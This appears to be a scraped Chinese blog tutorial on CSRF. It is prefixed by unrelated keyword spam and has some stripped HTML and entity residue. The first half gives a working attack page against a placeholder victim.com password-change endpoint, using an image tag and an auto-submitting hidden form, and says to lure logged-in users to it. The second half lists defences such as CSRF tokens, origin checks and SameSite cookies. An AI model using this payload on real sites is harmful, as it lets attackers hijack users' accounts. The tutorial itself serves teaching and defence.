中国空间站实时位置,石家庄住房和城乡建设局网站,门户网站建设课程设计,淘宝小程序入口一、如何发起一次CSRF攻击
原理#xff1a;CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性#xff0c;通过伪造请求来执行恶意操作。
1、目标网站信息#xff1a;
接口地址#xff1a;https://victim.com/change-password
请求类型#xff1a;get/post
接…一、如何发起一次CSRF攻击
原理CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性通过伪造请求来执行恶意操作。
1、目标网站信息
接口地址https://victim.com/change-password
请求类型get/post
接受参数password2、编写一个网页
!DOCTYPE html
htmlbody!-- GET类型的CSRF --img srchttps://victim.com/change-password?passwordvme50!-- POST类型的CSRF --form actionhttps://victim.com/change-password methodPOSTinput typehidden namepassword valuevme50 //formscript document.forms[0].submit(); /script /body
/html3、诱导用户打开我们的网页
用户在已经登录了https://victim.com这个网站的情况下打开我们的网站代码会自动发起网络请求将受害者的账号密码修改为我们设置的值
二、防护策略
1、使用 CSRF Token推荐
在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token并将其与用户的会话关联起来。 服务器在接收到请求时验证 CSRF Token 的有效性如果不匹配则拒绝请求。 这样可以防止攻击者伪造请求因为攻击者无法获取有效的 CSRF Token。
2、同源检测
① 验证请求头在服务器端验证请求头中的 Referer 字段或 Origin 字段确保请求来自合法的源 ② 验证域名在服务器端对请求进行同源检测只接受来自同一域名下的请求 ③ 对在本域发起的攻击无效
3、设置 SameSite Cookie 属性
将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax限制其在跨站点请求中的发送从而减少 CSRF 攻击的风险。
4、二次确认
① 验证码对于敏感操作可以要求用户输入验证码进行验证以确保请求是由真实用户发起的